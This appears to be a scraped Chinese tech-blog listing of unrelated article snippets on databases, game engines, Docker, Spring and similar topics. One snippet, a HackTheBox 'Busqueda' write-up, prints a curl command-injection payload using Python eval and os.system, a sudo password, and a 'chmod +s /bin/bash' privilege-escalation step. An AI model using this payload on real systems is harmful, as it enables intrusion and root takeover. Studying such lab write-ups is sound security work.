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LVXIANGAN
汽车自动驾驶人工智能
自动驾驶辅助级别有哪些?依照SAE(SAEInternational,SocietyofAutomotiveEngineers国际自动机工程师学会)的标准,大致划分为6级(L0-L5):L0人工驾驶:即没有驾驶辅助,需要驾驶员全程对车辆进行控制。L1驾驶辅助:车辆对方向盘和车速中的一项操作进行控制,其他操作则依然由驾驶员负责。常见的例如定速巡航就属于L1级驾驶辅助。L2部分自动驾驶:车辆仅对方向盘
- MySQL 的存储引擎简介
三书yjy
mysql数据库
使用showengines可以查看安装的MySQL的引擎相关信息MySQL的引擎不止这么多,这只是安装的这个版本有的引擎。可以看到,只有InnoDB支持事务,其他的引擎都是不支持事务的。说几个我了解的比较多的引擎:InnoDBInnoDB是MySQL现在的默认引擎,它是面向在线事务处理(OLTP)的应用,支持行锁,外键,以及非锁定读。每张表存储在一个独立的ibd文件中。一般用于修改比较频繁的场景。
- 【系统架构设计师】专题:基于构件的软件工程考点
数据知道
系统架构软件工程架构软考高级系统架构设计师
更多内容请见:备考系统架构设计师-核心总结目录文章目录一、构件概述二、构件模型三、CBSE的特征四、CBSE的过程五、构件组装一、构件概述基于构件的软件工程(Component-BasedSoftwareEngineering,CBSE)是一种基于分布对象技术、强调通过可复用构件设计与构造软件系统的软件复用途径。用于CBSE的构件应该具备以下特征:(1)可组装型:所有外部交互必须通过公开定义的接口
- “领域”(Domain)知多少?
huaqianzkh
架构理解与实践系统架构
在软件工程和计算机科学中,“领域”(Domain)确实是一个关键概念,但它并不局限于单一的行业或业务范畴,而是一个更为广泛和抽象的说法。以下是对“领域”涵义的详细阐述:一、领域的定义领域通常指的是一组具有相似或相近软件需求的应用系统所覆盖的功能区域。它是一组相关的计算机系统或应用程序的集合,这些系统或应用程序共享某种功能性的特征。在软件工程领域,领域的概念是领域工程(DomainEngineeri
- 前端工程化
海盗强
前端
前端工程化(FrontendEngineering)是指通过技术和工具的组合,提升前端开发的效率、质量和可维护性的一种方法论。它将前端开发从传统的页面构建、单一功能开发转变为更加模块化、自动化、标准化、规范化的流程。前端工程化的核心目的是提升开发效率,确保代码的可维护性,同时优化构建、测试、发布等工作流。前端工程化的核心要素模块化:将前端代码分割成独立、可重用的模块。每个模块专注于一个功能或任务,
- 高通成都linux engineer intern 一面面经
huaxinjiayou
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题解|#KNN算法#在*******里有个叫《题解--2024华南理工校赛.pdf》的文件高通成都linuxengineerintern一面面经两个面试官共25min就结束了,面试氛围还可以,问的很快。1.自我介绍2.问对高通了解多少3.对牛客鼠人传(第四十四集,2024/4/22)刷题:尝试补昨天D,题解看了半天似懂非懂,遂放弃改天再补。做题老是把复杂的问题想简单,简单的问题想复京东物流管理培训
- hackthebox Busqueda EASY难度 一把梭哈
安河桥北2025
linuxbash运维安全
自动执行sudo命令,自动给sudo命令输入密码:jh1usoih2bkjaspwe92curl-v-d"engine=Accuweather&query=1'%2bprint(eval(__import__('os').system('tac/home/svc/user.txt;cd/tmp;echo\"#\x21/bin/bash\nchmod%2bs/bin/bash\">full-chec
- godot python_我的godot开发环境调教记录分享
水间清亦浅
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由于之前用C++写了大部分游戏代码,现在打算较小改动的移植到新引擎上,感觉godot这个开源引擎比较合适。而且godot完全免费,同时任何个人或组织都可以用VSCommunity开发开源项目,也省了IDE的钱。开发工具上,先准备VisualC++VisualStudioCommunityhttps://www.visualstudio.com/vs/community/有注意事项,似乎初次安装时要
- Godot-Python 项目教程
成冠冠Quinby
Godot-Python项目教程godot-pythonPythonsupportforGodot项目地址:https://gitcode.com/gh_mirrors/go/godot-python1.项目目录结构及介绍Godot-Python项目的目录结构如下:godot-python/├──addons/│└──pythonscript_repl/├──build/├──docs/├──ex
- Godot引擎开发:UI和用户交互_Godot引擎概述
chenlz2007
游戏开发godotui交互游戏引擎nginx服务器前端
Godot引擎概述引擎简介Godot引擎是一个开源的2D和3D游戏引擎,由阿根廷开发者JuanLinietsky和ArielManzur创建。Godot引擎的目标是为游戏开发者提供一个强大、灵活且易于使用的工具,无论他们是否有丰富的编程经验。Godot引擎使用GDScript语言,这是一种类似Python的脚本语言,具有简洁的语法和强大的功能。此外,Godot引擎还支持C#和VisualScrip
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玥沐春风
python开发语言
Python中有许多游戏开发库可供选择。以下是一些常用的游戏开发库:Pygame:Pygame是一个广泛使用的2D游戏开发库,提供了图形和声音方面的功能。Panda3D:Panda3D是一个功能强大的3D游戏引擎,支持Python语言编程,并且提供了许多用于游戏开发的工具和特性。GodotEngine:虽然不是Python专用的,但Godot引擎支持使用Python进行游戏编程。它是一个开源的多平
- Prompt Engineering的重要性
workflower
UML建模设计方法prompt大数据人工智能AI编程软件工程设计模式需求分析
从软件工程需求分析与大模型结合的实践角度来看,PromptEngineering的重要性及其风险主要体现在以下几个方面:一、PromptEngineering的核心价值需求语义桥接(Requirement-SemanticsBridging)软件需求具有模糊性、歧义性等自然语言特征。实验表明,经过优化的Prompt可使LLM的需求理解准确率提升28-35%(参照NSF2023需求工程基准测试),通
- centos7.9在线离线安装docker
笑笑2520
环境搭建docker容器运维
yum在线安装#卸载旧版本[root@localhost~]#yumremovedockerdocker-clientdocker-client-latestdocker-commondocker-latest\docker-latest-logrotatedocker-logrotatedocker-selinuxdocker-engine-selinuxdocker-engine#安装所需的软
- 【信息系统项目管理师】专业英语重点词汇大汇总
数据知道
软考高级高项信息系统项目管理师软考综合知识高项专业英语
更多内容请见:备考信息系统项目管理师-专栏介绍和目录文章目录一、信息和信息系统重要词汇汇总1.Computer(计算机)重要词汇2.Informationsystem(信息系统)重要词汇3.SoftwareEngineering(软件工程)重要词汇4.Network(网络)相关重要词汇5.信息安全重要词汇6.ElectronicCommerce(电子商务)、电子政务重要词汇二、新一代信息技术重要词
- django连接mysql数据库
独白不白
数据库djangomysql
1.下载mysqlclient第三方库2.在settings.py里连接数据库(提前建好)DATABASES={'default':{'ENGINE':'django.db.backends.mysql','NAME':'学生信息','USER':'root','PASSWORD':'999123457','HOST':'localhost','POST':'3306',}}3.在models.p
- ELEE10023/PGEE11117 Digital Systems
后端
DigitalSystemsLaboratory4/MScELEE10023/PGEE11117SchoolofEngineering,UniversityofEdinburghCourseDescriptionAim:Thecourseaimstoproducestudentswhoarecapableofdevelopinghardware-softwaredigitalsystemsfrom
- docker部署kafka(单节点) + Springboot集成kafka
wsdhla
dockerkafkaspringbootzookeeper
环境:操作系统:win10Docker:DockerDesktop4.21.1(114176)、DockerEnginev24.0.2SpringBoot:2.7.15步骤1:创建网络:dockernetworkcreate--subnet=172.18.0.0/16net-kafka步骤2:安装zk镜像dockerpullzookeeper:latestdockerrun-d--restarta
- Android与Flutter混合开发,超详细讲解
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程序员面试android移动开发
在跳转之前需要先在AndroidManifest.xml注册FlutterActivity。在需要跳转的时候,使用FlutterActivity.withNewEngine()进行跳转:startActivity(FlutterActivity.withNewEngine().initialRoute(“params”).build(xxxxActivity.this));其中initialRou
- Python's SQLAlchemy and Object-Relational Mapping
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Acommontaskwhenprogramminganywebserviceistheconstructionofasoliddatabasebackend.Inthepast,programmerswouldwriterawSQLstatements,passthemtothedatabaseengineandparsethereturnedresultsasanormalarrayofrec
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GoogleEarthEnginegeejavascript海岸线梯度偏移移动数据
目录简介数据函数gradient()Arguments:Returns:Imagedisplace(displacement,mode,maxOffset)Arguments:Returns:Image代码结果简介如何利用将海岸线进行偏移(shoreline-raster-chip数据为例)数据sample-shoreline-raster-chip是一个用于沿海地区地图制作的示例数据集。它包含了
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简介ApacheSpark是一个强大的统一分析引擎,用于大规模数据处理。本文将详细介绍如何使用Docker和DockerCompose快速部署一个包含一个Master节点和两个Worker节点的Spark集群。这种方法不仅简化了集群的搭建过程,还提供了资源隔离、易于扩展等优势。前置条件在开始之前,请确保你的环境中已经准备好了以下组件:安装并运行DockerEngine。安装DockerCompos
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渲染101专业云渲染
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在三维创作中,选择合适的云渲染平台需重点关注其软件兼容性与任务适配性。本文将系统梳理其支持的软件类型、动画项目范围,并解答“为何不支持实时渲染”等常见疑问。一、软件兼容性:七大三维软件+主流渲染器全覆盖渲染101支持3dsMax、Cinema4D(C4D)、Maya、Blender、UnrealEngine(UE)、SketchUp、Houdini七大核心三维制作软件,并适配以下渲染器:CPU渲染
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CTF(CaptureTheFlag)比赛中的高频解题技巧通常涵盖了以下几类技术,涉及从逆向工程、二进制漏洞利用到Web安全、密码学等多个领域。以下是一些高频解题技巧:1.逆向工程(ReverseEngineering)静态分析:通过阅读二进制文件的源代码或反编译代码(如使用IDAPro、Ghidra、Radare2)来理解程序的逻辑。检查程序的函数、字符串和常量,寻找可能的线索。动态调试:使用g
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一、MongoDB背景MongoDB是一款功能完善的分布式文档数据库,是一款非常出名的NoSQL数据库。当前国内使用Mongodb的大型实践越来越多,MongoDB为我司提供了重要的数据库存储服务,支撑着每天近千万级QPS峰值读写,数万亿级数据量存储服务。MongoDB在高性能、动态扩缩容、高可用、易部署、易使用、海量数据存储等方面拥有很大优势。近些年,MongoDB在DB-Engines流行度排
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教学2021论文2024大模型以及算力embeddingpromptlangchain语言模型自然语言处理人工智能神经网络
什么是Embedding、RAG、Functioncalling、Promptengineering、Langchain、向量数据库?怎么使用目录什么是Embedding、RAG、Functioncalling、Promptengineering、Langchain、向量数据库?怎么使用Embedding(嵌入)RAG(检索增强生成)Functioncalling(函数调用)Promptengin
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深化与细化:提示工程(PromptEngineering)的进阶策略与实践指南一、结构化提示的黄金框架CRISPE框架(角色-约束-意图-风格-示例)适用于复杂技术场景,确保输出精准可控:[角色]你是一名有10年经验的Java架构师[约束]使用SpringSecurity6.0+,兼容JDK17[意图]实现支持JWT和OAuth2协议的用户鉴权模块[风格]代码符合GoogleJavaStyle,包
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SQLAlchemy库是一个非常强大又相当灵活的库,它在关系型数据库与传统编程之间建起了一座桥梁。它允许我们使用原始的SQL执行查询,同时也提供了高级的方法来查询和更新数据库。本文仅简要介绍使用原生SQL执行查询部分。使用SQLAlchemy查询MySQL的数据首先需要安装sqlalchemy库和pymysql库;使用sqlalchemy的create_engine()方法,并借助pymysql驱
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目录问题解决PS:《Electron实战》系列-总览问题Electron工程编译的时候报错:errorelectron-builder@20.44.4:Theengine"node"isincompatiblewiththismodule.Expectedversion">=8.12.0".Got"8.11.3"errorFoundincompatiblemodule.解决原因是nodejs版本冲
- 关于 Kibana 、Elasticsearch 奇怪的知识点,一般人可能永远遇不到
极客日常
极客日常kibanaelkjavaelasticsearch
最近在公司折腾Kibana的时候遇到了个还挺有意思的问题,估计正常情况下几乎没人遇到。先简单说说Kibana和Elasticsearch,Elasticsearch是个分布式、RESTful风格、非常强大的搜索引擎,被广泛地使用于各个IT公司。与Logstash及Kibana开源项目组合在一起,形成了ELK软件栈。Elasticsearch常年霸占DB-Engines搜索引擎排名的榜首,且与第二名
- 算法 单链的创建与删除
换个号韩国红果果
c算法
先创建结构体
struct student {
int data;
//int tag;//标记这是第几个
struct student *next;
};
// addone 用于将一个数插入已从小到大排好序的链中
struct student *addone(struct student *h,int x){
if(h==NULL) //??????
- 《大型网站系统与Java中间件实践》第2章读后感
白糖_
java中间件
断断续续花了两天时间试读了《大型网站系统与Java中间件实践》的第2章,这章总述了从一个小型单机构建的网站发展到大型网站的演化过程---整个过程会遇到很多困难,但每一个屏障都会有解决方案,最终就是依靠这些个解决方案汇聚到一起组成了一个健壮稳定高效的大型系统。
看完整章内容,
- zeus持久层spring事务单元测试
deng520159
javaDAOspringjdbc
今天把zeus事务单元测试放出来,让大家指出他的毛病,
1.ZeusTransactionTest.java 单元测试
package com.dengliang.zeus.webdemo.test;
import java.util.ArrayList;
import java.util.List;
import org.junit.Test;
import
- Rss 订阅 开发
周凡杨
htmlxml订阅rss规范
RSS是 Really Simple Syndication的缩写(对rss2.0而言,是这三个词的缩写,对rss1.0而言则是RDF Site Summary的缩写,1.0与2.0走的是两个体系)。
RSS
- 分页查询实现
g21121
分页查询
在查询列表时我们常常会用到分页,分页的好处就是减少数据交换,每次查询一定数量减少数据库压力等等。
按实现形式分前台分页和服务器分页:
前台分页就是一次查询出所有记录,在页面中用js进行虚拟分页,这种形式在数据量较小时优势比较明显,一次加载就不必再访问服务器了,但当数据量较大时会对页面造成压力,传输速度也会大幅下降。
服务器分页就是每次请求相同数量记录,按一定规则排序,每次取一定序号直接的数据
- spring jms异步消息处理
510888780
jms
spring JMS对于异步消息处理基本上只需配置下就能进行高效的处理。其核心就是消息侦听器容器,常用的类就是DefaultMessageListenerContainer。该容器可配置侦听器的并发数量,以及配合MessageListenerAdapter使用消息驱动POJO进行消息处理。且消息驱动POJO是放入TaskExecutor中进行处理,进一步提高性能,减少侦听器的阻塞。具体配置如下:
- highCharts柱状图
布衣凌宇
hightCharts柱图
第一步:导入 exporting.js,grid.js,highcharts.js;第二步:写controller
@Controller@RequestMapping(value="${adminPath}/statistick")public class StatistickController { private UserServi
- 我的spring学习笔记2-IoC(反向控制 依赖注入)
aijuans
springmvcSpring 教程spring3 教程Spring 入门
IoC(反向控制 依赖注入)这是Spring提出来了,这也是Spring一大特色。这里我不用多说,我们看Spring教程就可以了解。当然我们不用Spring也可以用IoC,下面我将介绍不用Spring的IoC。
IoC不是框架,她是java的技术,如今大多数轻量级的容器都会用到IoC技术。这里我就用一个例子来说明:
如:程序中有 Mysql.calss 、Oracle.class 、SqlSe
- TLS java简单实现
antlove
javasslkeystoretlssecure
1. SSLServer.java
package ssl;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.KeyStore;
import
- Zip解压压缩文件
百合不是茶
Zip格式解压Zip流的使用文件解压
ZIP文件的解压缩实质上就是从输入流中读取数据。Java.util.zip包提供了类ZipInputStream来读取ZIP文件,下面的代码段创建了一个输入流来读取ZIP格式的文件;
ZipInputStream in = new ZipInputStream(new FileInputStream(zipFileName));
&n
- underscore.js 学习(一)
bijian1013
JavaScriptunderscore
工作中需要用到underscore.js,发现这是一个包括了很多基本功能函数的js库,里面有很多实用的函数。而且它没有扩展 javascript的原生对象。主要涉及对Collection、Object、Array、Function的操作。 学
- java jvm常用命令工具——jstatd命令(Java Statistics Monitoring Daemon)
bijian1013
javajvmjstatd
1.介绍
jstatd是一个基于RMI(Remove Method Invocation)的服务程序,它用于监控基于HotSpot的JVM中资源的创建及销毁,并且提供了一个远程接口允许远程的监控工具连接到本地的JVM执行命令。
jstatd是基于RMI的,所以在运行jstatd的服务
- 【Spring框架三】Spring常用注解之Transactional
bit1129
transactional
Spring可以通过注解@Transactional来为业务逻辑层的方法(调用DAO完成持久化动作)添加事务能力,如下是@Transactional注解的定义:
/*
* Copyright 2002-2010 the original author or authors.
*
* Licensed under the Apache License, Version
- 我(程序员)的前进方向
bitray
程序员
作为一个普通的程序员,我一直游走在java语言中,java也确实让我有了很多的体会.不过随着学习的深入,java语言的新技术产生的越来越多,从最初期的javase,我逐渐开始转变到ssh,ssi,这种主流的码农,.过了几天为了解决新问题,webservice的大旗也被我祭出来了,又过了些日子jms架构的activemq也开始必须学习了.再后来开始了一系列技术学习,osgi,restful.....
- nginx lua开发经验总结
ronin47
使用nginx lua已经两三个月了,项目接开发完毕了,这几天准备上线并且跟高德地图对接。回顾下来lua在项目中占得必中还是比较大的,跟PHP的占比差不多持平了,因此在开发中遇到一些问题备忘一下 1:content_by_lua中代码容量有限制,一般不要写太多代码,正常编写代码一般在100行左右(具体容量没有细心测哈哈,在4kb左右),如果超出了则重启nginx的时候会报 too long pa
- java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。颠倒之后的栈为{5,4,3,2,1},5处在栈顶
bylijinnan
java
import java.util.Stack;
public class ReverseStackRecursive {
/**
* Q 66.颠倒栈。
* 题目:用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。
* 颠倒之后的栈为{5,4,3,2,1},5处在栈顶。
*1. Pop the top element
*2. Revers
- 正确理解Linux内存占用过高的问题
cfyme
linux
Linux开机后,使用top命令查看,4G物理内存发现已使用的多大3.2G,占用率高达80%以上:
Mem: 3889836k total, 3341868k used, 547968k free, 286044k buffers
Swap: 6127608k total,&nb
- [JWFD开源工作流]当前流程引擎设计的一个急需解决的问题
comsci
工作流
当我们的流程引擎进入IRC阶段的时候,当循环反馈模型出现之后,每次循环都会导致一大堆节点内存数据残留在系统内存中,循环的次数越多,这些残留数据将导致系统内存溢出,并使得引擎崩溃。。。。。。
而解决办法就是利用汇编语言或者其它系统编程语言,在引擎运行时,把这些残留数据清除掉。
- 自定义类的equals函数
dai_lm
equals
仅作笔记使用
public class VectorQueue {
private final Vector<VectorItem> queue;
private class VectorItem {
private final Object item;
private final int quantity;
public VectorI
- Linux下安装R语言
datageek
R语言 linux
命令如下:sudo gedit /etc/apt/sources.list1、deb http://mirrors.ustc.edu.cn/CRAN/bin/linux/ubuntu/ precise/ 2、deb http://dk.archive.ubuntu.com/ubuntu hardy universesudo apt-key adv --keyserver ke
- 如何修改mysql 并发数(连接数)最大值
dcj3sjt126com
mysql
MySQL的连接数最大值跟MySQL没关系,主要看系统和业务逻辑了
方法一:进入MYSQL安装目录 打开MYSQL配置文件 my.ini 或 my.cnf查找 max_connections=100 修改为 max_connections=1000 服务里重起MYSQL即可
方法二:MySQL的最大连接数默认是100客户端登录:mysql -uusername -ppass
- 单一功能原则
dcj3sjt126com
面向对象的程序设计软件设计编程原则
单一功能原则[
编辑]
SOLID 原则
单一功能原则
开闭原则
Liskov代换原则
接口隔离原则
依赖反转原则
查
论
编
在面向对象编程领域中,单一功能原则(Single responsibility principle)规定每个类都应该有
- POJO、VO和JavaBean区别和联系
fanmingxing
VOPOJOjavabean
POJO和JavaBean是我们常见的两个关键字,一般容易混淆,POJO全称是Plain Ordinary Java Object / Plain Old Java Object,中文可以翻译成:普通Java类,具有一部分getter/setter方法的那种类就可以称作POJO,但是JavaBean则比POJO复杂很多,JavaBean是一种组件技术,就好像你做了一个扳子,而这个扳子会在很多地方被
- SpringSecurity3.X--LDAP:AD配置
hanqunfeng
SpringSecurity
前面介绍过基于本地数据库验证的方式,参考http://hanqunfeng.iteye.com/blog/1155226,这里说一下如何修改为使用AD进行身份验证【只对用户名和密码进行验证,权限依旧存储在本地数据库中】。
将配置文件中的如下部分删除:
<!-- 认证管理器,使用自定义的UserDetailsService,并对密码采用md5加密-->
- mac mysql 修改密码
IXHONG
mysql
$ sudo /usr/local/mysql/bin/mysqld_safe –user=root & //启动MySQL(也可以通过偏好设置面板来启动)$ sudo /usr/local/mysql/bin/mysqladmin -uroot password yourpassword //设置MySQL密码(注意,这是第一次MySQL密码为空的时候的设置命令,如果是修改密码,还需在-
- 设计模式--抽象工厂模式
kerryg
设计模式
抽象工厂模式:
工厂模式有一个问题就是,类的创建依赖于工厂类,也就是说,如果想要拓展程序,必须对工厂类进行修改,这违背了闭包原则。我们采用抽象工厂模式,创建多个工厂类,这样一旦需要增加新的功能,直接增加新的工厂类就可以了,不需要修改之前的代码。
总结:这个模式的好处就是,如果想增加一个功能,就需要做一个实现类,
- 评"高中女生军训期跳楼”
nannan408
首先,先抛出我的观点,各位看官少点砖头。那就是,中国的差异化教育必须做起来。
孔圣人有云:有教无类。不同类型的人,都应该有对应的教育方法。目前中国的一体化教育,不知道已经扼杀了多少创造性人才。我们出不了爱迪生,出不了爱因斯坦,很大原因,是我们的培养思路错了,我们是第一要“顺从”。如果不顺从,我们的学校,就会用各种方法,罚站,罚写作业,各种罚。军
- scala如何读取和写入文件内容?
qindongliang1922
javajvmscala
直接看如下代码:
package file
import java.io.RandomAccessFile
import java.nio.charset.Charset
import scala.io.Source
import scala.reflect.io.{File, Path}
/**
* Created by qindongliang on 2015/
- C语言算法之百元买百鸡
qiufeihu
c算法
中国古代数学家张丘建在他的《算经》中提出了一个著名的“百钱买百鸡问题”,鸡翁一,值钱五,鸡母一,值钱三,鸡雏三,值钱一,百钱买百鸡,问翁,母,雏各几何?
代码如下:
#include <stdio.h>
int main()
{
int cock,hen,chick; /*定义变量为基本整型*/
for(coc
- Hadoop集群安全性:Hadoop中Namenode单点故障的解决方案及详细介绍AvatarNode
wyz2009107220
NameNode
正如大家所知,NameNode在Hadoop系统中存在单点故障问题,这个对于标榜高可用性的Hadoop来说一直是个软肋。本文讨论一下为了解决这个问题而存在的几个solution。
1. Secondary NameNode
原理:Secondary NN会定期的从NN中读取editlog,与自己存储的Image进行合并形成新的metadata image
优点:Hadoop较早的版本都自带,